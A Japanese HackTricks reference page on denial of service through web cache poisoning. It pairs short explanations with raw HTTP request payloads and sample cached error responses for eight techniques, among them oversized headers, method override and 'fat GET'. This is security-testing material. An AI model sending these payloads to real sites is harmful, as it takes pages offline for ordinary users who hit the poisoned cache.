mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
151 lines
7.4 KiB
Markdown
151 lines
7.4 KiB
Markdown
|
# キャッシュ毒化によるDoS
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
HackTricksをサポートする他の方法:
|
|||
|
|
|||
|
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
|||
|
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
|||
|
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
|||
|
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
|||
|
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
{% hint style="danger" %}
|
|||
|
このページでは、**キャッシュサーバーに有効なリクエストに対して**、**ウェブサーバーがエラーで応答するようにする**さまざまなバリエーションを見つけることができます。
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
- **HTTPヘッダーサイズオーバーサイズ(HHO)**
|
|||
|
|
|||
|
ウェブサーバーがサポートするヘッダーサイズよりも大きいが、キャッシュサーバーがサポートするヘッダーサイズよりも小さいヘッダーサイズでリクエストを送信します。ウェブサーバーは400応答を返し、これがキャッシュされる可能性があります。
|
|||
|
```
|
|||
|
GET / HTTP/1.1
|
|||
|
Host: redacted.com
|
|||
|
X-Oversize-Hedear:Big-Value-000000000000000
|
|||
|
```
|
|||
|
* **HTTP Meta Character (HMC) & Unexpected values**
|
|||
|
|
|||
|
攻撃が機能するためには、最初にキャッシュをバイパスする必要があります。`\n`や`\r`などの**有害なメタ文字**を含むヘッダを送信します。
|
|||
|
```
|
|||
|
GET / HTTP/1.1
|
|||
|
Host: redacted.com
|
|||
|
X-Meta-Hedear:Bad Chars\n \r
|
|||
|
```
|
|||
|
悪く構成されたヘッダーは、単に`\:`としてヘッダーとして機能する可能性があります。
|
|||
|
|
|||
|
これは、予期しない値が送信された場合にも機能する可能性があります。例えば、予期しないContent-Type:
|
|||
|
```
|
|||
|
GET /anas/repos HTTP/2
|
|||
|
Host: redacted.com
|
|||
|
Content-Type: HelloWorld
|
|||
|
```
|
|||
|
* **Unkeyed header**
|
|||
|
|
|||
|
いくつかのウェブサイトは、リクエスト内に _X-Amz-Website-Location-Redirect: someThing_ ヘッダーのような特定のヘッダーがあると、エラーのステータスコードを返します。
|
|||
|
```
|
|||
|
GET /app.js HTTP/2
|
|||
|
Host: redacted.com
|
|||
|
X-Amz-Website-Location-Redirect: someThing
|
|||
|
|
|||
|
HTTP/2 403 Forbidden
|
|||
|
Cache: hit
|
|||
|
|
|||
|
Invalid Header
|
|||
|
```
|
|||
|
* **HTTP Method Override Attack (HMO)**
|
|||
|
|
|||
|
サーバーが`X-HTTP-Method-Override`、`X-HTTP-Method`、または`X-Method-Override`などのヘッダーを使用してHTTPメソッドを変更することをサポートしている場合、メソッドを変更して有効なページをリクエストすることが可能です。サーバーがそのメソッドをサポートしていないため、悪い応答がキャッシュされる可能性があります。
|
|||
|
```
|
|||
|
GET /blogs HTTP/1.1
|
|||
|
Host: redacted.com
|
|||
|
HTTP-Method-Override: POST
|
|||
|
```
|
|||
|
* **キーのないポート**
|
|||
|
|
|||
|
Hostヘッダーのポートがレスポンスに反映され、キャッシュキーに含まれていない場合、未使用のポートにリダイレクトすることが可能です:
|
|||
|
```
|
|||
|
GET /index.html HTTP/1.1
|
|||
|
Host: redacted.com:1
|
|||
|
|
|||
|
HTTP/1.1 301 Moved Permanently
|
|||
|
Location: https://redacted.com:1/en/index.html
|
|||
|
Cache: miss
|
|||
|
```
|
|||
|
* **長いリダイレクト DoS**
|
|||
|
|
|||
|
次の例のように、x がキャッシュされていない場合、攻撃者はリダイレクト応答の動作を悪用して、リダイレクトが大きすぎる URL を送信してエラーを返すようにすることができます。その後、キャッシュされていない x キーなしで URL にアクセスしようとする人々はエラー応答を受け取ります。
|
|||
|
```
|
|||
|
GET /login?x=veryLongUrl HTTP/1.1
|
|||
|
Host: www.cloudflare.com
|
|||
|
|
|||
|
HTTP/1.1 301 Moved Permanently
|
|||
|
Location: /login/?x=veryLongUrl
|
|||
|
Cache: hit
|
|||
|
|
|||
|
GET /login/?x=veryLongUrl HTTP/1.1
|
|||
|
Host: www.cloudflare.com
|
|||
|
|
|||
|
HTTP/1.1 414 Request-URI Too Large
|
|||
|
CF-Cache-Status: miss
|
|||
|
```
|
|||
|
* **ホストヘッダーケースの正規化**
|
|||
|
|
|||
|
ホストヘッダーは大文字小文字を区別しないはずですが、一部のウェブサイトでは小文字であることを期待しており、そうでない場合にエラーが返されることがあります。
|
|||
|
```
|
|||
|
GET /img.png HTTP/1.1
|
|||
|
Host: Cdn.redacted.com
|
|||
|
|
|||
|
HTTP/1.1 404 Not Found
|
|||
|
Cache:miss
|
|||
|
|
|||
|
Not Found
|
|||
|
```
|
|||
|
* **パスの正規化**
|
|||
|
|
|||
|
一部のページは、パス内のデータをURLencodeしてエラーコードを返すことがありますが、キャッシュサーバーはパスをURLdecodeして、URLdecodeされたパスのレスポンスを保存します。
|
|||
|
```
|
|||
|
GET /api/v1%2e1/user HTTP/1.1
|
|||
|
Host: redacted.com
|
|||
|
|
|||
|
|
|||
|
HTTP/1.1 404 Not Found
|
|||
|
Cach:miss
|
|||
|
|
|||
|
Not Found
|
|||
|
```
|
|||
|
* **Fat Get**
|
|||
|
|
|||
|
一部のキャッシュサーバー、例えばCloudflare、またはWebサーバーは、ボディを持つGETリクエストを停止するため、これは無効なレスポンスをキャッシュするために悪用される可能性があります。
|
|||
|
```
|
|||
|
GET /index.html HTTP/2
|
|||
|
Host: redacted.com
|
|||
|
Content-Length: 3
|
|||
|
|
|||
|
xyz
|
|||
|
|
|||
|
|
|||
|
HTTP/2 403 Forbidden
|
|||
|
Cache: hit
|
|||
|
```
|
|||
|
## 参考文献
|
|||
|
|
|||
|
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
|
|||
|
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
HackTricksをサポートする他の方法:
|
|||
|
|
|||
|
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
|||
|
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
|||
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
|||
|
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローする。**
|
|||
|
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
|||
|
|
|||
|
</details>
|